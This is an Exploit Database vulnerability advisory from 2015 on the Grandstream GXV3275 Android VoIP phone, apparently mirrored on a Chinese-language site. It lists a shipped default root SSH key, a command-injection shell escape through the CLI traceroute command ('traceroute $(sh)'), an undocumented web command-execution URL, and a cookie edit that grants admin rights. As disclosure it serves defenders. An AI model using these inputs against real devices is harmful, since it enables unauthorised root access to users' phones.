Grandstream GXV3275 < 1.0.3.30 - Multiple Vulnerabilities

• Exploit Database
• 25 阅读

• 作者： David Jorm
  日期： 2015-07-08
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37531/

• The Grandstream GXV3275 is an Android-based VoIP phone. Several
  vulnerabilities were found affecting this device.
  
  * The device ships with a default root SSH key, which could be used as a
  backdoor:
  
  /system/root/.ssh # cat authorized_keys
  Public key portion is:
  ssh-rsa
  AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIcYbgmdHTpTeDcBA4IOg5Z7d2By0GXGihZzcTxZC+YTWGUe/HJc+pYDpDrGMWg0hMqd+JPs1GaLNw4pw0Mip6VMT7VjoZ8Z+n2ULNyK1IoTU4C3Ea4vcYVR8804Pvh9vXxC0iuMEr1Jx7SewUwSlABX04uVpEObgnUhpi+hn/H34/
  jhzhao@jhzhao-Lenovo
  Fingerprint: md5 7b:6e:a0:00:19:54:a6:39:84:1f:f9:18:2e:79:61:b5
  
  This issue has not been resolved.
  
  * The SSH interface only provides access to a limited CLI. The CLI's ping
  and traceroute commands will pass user input as parameters to underlying
  system commands without escaping shell metacharacters. This can be
  exploited to break out to a shell:
  
  GXV3275 > traceroute $(sh)
  
  This shell will only see stderr, so we then need to run sh with stdout
  redirected to stderr:
  
  sh 1>&2
  
  This issue has been resolved in firmware version 1.0.3.30.
  
  * The web interface exposes an undocumented command execution API:
  
  
  http://DEVICEIP/manager?action=execcmd&command=echo%20%22hello%22%20%3E%20/system/root/test.txt
  
  This issue has been resolved in firmware version 1.0.3.30.
  
  * The web interface allows unprivileged users to escalate privileges by
  modifying a cookie on the client side:
  
  javascript:void(document.cookie="type=admin")
  
  Full details are available here:
  
  http://davidjorm.blogspot.com/2015/07/101-ways-to-pwn-phone.html
  
  MITRE was contacted repeatedly requesting CVE names for these issues, but
  never replied.
  
  David